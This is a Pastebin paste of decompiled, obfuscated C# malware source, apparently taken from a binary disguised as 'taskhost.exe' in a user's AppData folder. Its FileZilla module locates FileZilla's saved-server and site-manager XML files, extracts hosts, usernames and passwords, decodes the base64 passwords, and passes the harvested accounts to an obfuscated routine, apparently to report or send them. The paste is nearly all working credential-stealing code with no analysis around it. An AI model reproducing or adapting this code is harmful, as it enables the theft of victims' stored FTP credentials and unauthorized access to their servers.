Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Decompiled with JetBrains decompiler
- // Type: taskhost.Recovery.FTP_Clients.FileZilla
- // Assembly: taskhost_154, Version=2.5.5000.42629, Culture=neutral, PublicKeyToken=null
- // MVID: A31E4BB8-F4D7-40FA-9FAA-63024E490C73
- // Assembly location: C:\Users\barsom\AppData\Local\Microsoft Windows\taskhost.exe
- using A;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.IO;
- using System.Text;
- using System.Xml;
- using taskhost.Browsers.Helpers;
- namespace taskhost.Recovery.FTP_Clients
- {
- public static class FileZilla
- {
- public static string RecentServerPath = string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12860), (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
- public static string SiteManagerPath = string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12923), (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
- public static void Init()
- {
- try
- {
- List<RecoveredAccount> savedPasswords = FileZilla.GetSavedPasswords();
- if (savedPasswords.Count == 0)
- {
- label_1:
- switch (1)
- {
- case 0:
- goto label_1;
- default:
- if (!true)
- {
- // ISSUE: method reference
- RuntimeMethodHandle runtimeMethodHandle = __methodref (FileZilla.Init);
- }
- ce5c658ad7d29402ecc8edd115e7df215.c8a4fc5e9ad9a4db357d842d232e00f78(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12377), false);
- break;
- }
- }
- else
- {
- StringBuilder stringBuilder = new StringBuilder();
- using (List<RecoveredAccount>.Enumerator enumerator = savedPasswords.GetEnumerator())
- {
- while (enumerator.MoveNext())
- {
- RecoveredAccount current = enumerator.Current;
- stringBuilder.Append(current.CovertToXml());
- }
- label_9:
- switch (7)
- {
- case 0:
- goto label_9;
- }
- }
- if (stringBuilder.Length > 0)
- {
- label_12:
- switch (1)
- {
- case 0:
- goto label_12;
- default:
- ce4c25fcc93f0a1ccbe7b079a60bf126c.cae470415f8f0c695212f9509f7615b90(string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12507), (object) cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(1839), (object) stringBuilder));
- break;
- }
- }
- else
- ce5c658ad7d29402ecc8edd115e7df215.c2a452830748fa7858e5d2d8956a74a3b(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12624), false);
- }
- }
- catch (Exception ex)
- {
- ce5c658ad7d29402ecc8edd115e7df215.cce959d1d55574ea678101556c9e944d9(ex, false);
- }
- }
- public static List<RecoveredAccount> GetSavedPasswords()
- {
- List<RecoveredAccount> recoveredAccountList = new List<RecoveredAccount>();
- try
- {
- if (!File.Exists(FileZilla.RecentServerPath))
- {
- label_2:
- switch (5)
- {
- case 0:
- goto label_2;
- default:
- if (!true)
- {
- // ISSUE: method reference
- RuntimeMethodHandle runtimeMethodHandle = __methodref (FileZilla.GetSavedPasswords);
- }
- if (!File.Exists(FileZilla.SiteManagerPath))
- {
- label_6:
- switch (7)
- {
- case 0:
- goto label_6;
- default:
- return recoveredAccountList;
- }
- }
- else
- break;
- }
- }
- if (File.Exists(FileZilla.RecentServerPath))
- {
- label_9:
- switch (6)
- {
- case 0:
- goto label_9;
- default:
- XmlTextReader xmlTextReader = new XmlTextReader(FileZilla.RecentServerPath);
- XmlDocument xmlDocument = new XmlDocument();
- xmlDocument.Load((XmlReader) xmlTextReader);
- IEnumerator enumerator1 = xmlDocument.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator();
- try
- {
- while (enumerator1.MoveNext())
- {
- XmlNode current1 = (XmlNode) enumerator1.Current;
- string str1 = string.Empty;
- string str2 = string.Empty;
- string str3 = string.Empty;
- IEnumerator enumerator2 = current1.ChildNodes.GetEnumerator();
- try
- {
- while (enumerator2.MoveNext())
- {
- XmlNode current2 = (XmlNode) enumerator2.Current;
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12802))
- {
- label_15:
- switch (3)
- {
- case 0:
- goto label_15;
- default:
- str1 = current2.InnerText;
- break;
- }
- }
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12811))
- {
- label_18:
- switch (6)
- {
- case 0:
- goto label_18;
- default:
- str1 = str1 + cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12820) + current2.InnerText;
- break;
- }
- }
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12823))
- {
- label_21:
- switch (5)
- {
- case 0:
- goto label_21;
- default:
- str2 = current2.InnerText;
- break;
- }
- }
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12832))
- str3 = current2.InnerText;
- }
- label_26:
- switch (4)
- {
- case 0:
- goto label_26;
- }
- }
- finally
- {
- IDisposable disposable = enumerator2 as IDisposable;
- if (disposable != null)
- disposable.Dispose();
- }
- recoveredAccountList.Add(new RecoveredAccount()
- {
- Url = str1,
- Username = str2,
- Password = str3,
- Application = cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12841)
- });
- }
- label_32:
- switch (6)
- {
- case 0:
- goto label_32;
- }
- }
- finally
- {
- IDisposable disposable = enumerator1 as IDisposable;
- if (disposable != null)
- disposable.Dispose();
- }
- }
- }
- if (File.Exists(FileZilla.SiteManagerPath))
- {
- label_37:
- switch (7)
- {
- case 0:
- goto label_37;
- default:
- XmlTextReader xmlTextReader = new XmlTextReader(FileZilla.SiteManagerPath);
- XmlDocument xmlDocument = new XmlDocument();
- xmlDocument.Load((XmlReader) xmlTextReader);
- IEnumerator enumerator1 = xmlDocument.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator();
- try
- {
- while (enumerator1.MoveNext())
- {
- XmlNode current1 = (XmlNode) enumerator1.Current;
- string str1 = string.Empty;
- string str2 = string.Empty;
- string str3 = string.Empty;
- IEnumerator enumerator2 = current1.ChildNodes.GetEnumerator();
- try
- {
- while (enumerator2.MoveNext())
- {
- XmlNode current2 = (XmlNode) enumerator2.Current;
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12802))
- {
- label_43:
- switch (1)
- {
- case 0:
- goto label_43;
- default:
- str1 = current2.InnerText;
- break;
- }
- }
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12811))
- str1 = str1 + cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12820) + current2.InnerText;
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12823))
- {
- label_48:
- switch (6)
- {
- case 0:
- goto label_48;
- default:
- str2 = current2.InnerText;
- break;
- }
- }
- if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12832))
- {
- label_51:
- switch (7)
- {
- case 0:
- goto label_51;
- default:
- str3 = FileZilla.Base64Decode(current2.InnerText);
- continue;
- }
- }
- }
- label_54:
- switch (4)
- {
- case 0:
- goto label_54;
- }
- }
- finally
- {
- IDisposable disposable = enumerator2 as IDisposable;
- if (disposable != null)
- {
- label_56:
- switch (2)
- {
- case 0:
- goto label_56;
- default:
- disposable.Dispose();
- break;
- }
- }
- }
- recoveredAccountList.Add(new RecoveredAccount()
- {
- Url = str1,
- Username = str2,
- Password = str3,
- Application = cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12841)
- });
- }
- break;
- }
- finally
- {
- IDisposable disposable = enumerator1 as IDisposable;
- if (disposable != null)
- disposable.Dispose();
- }
- }
- }
- return recoveredAccountList;
- }
- catch
- {
- return recoveredAccountList;
- }
- }
- public static string Base64Decode(string szInput)
- {
- try
- {
- return Encoding.UTF8.GetString(Convert.FromBase64String(szInput));
- }
- catch
- {
- return szInput;
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment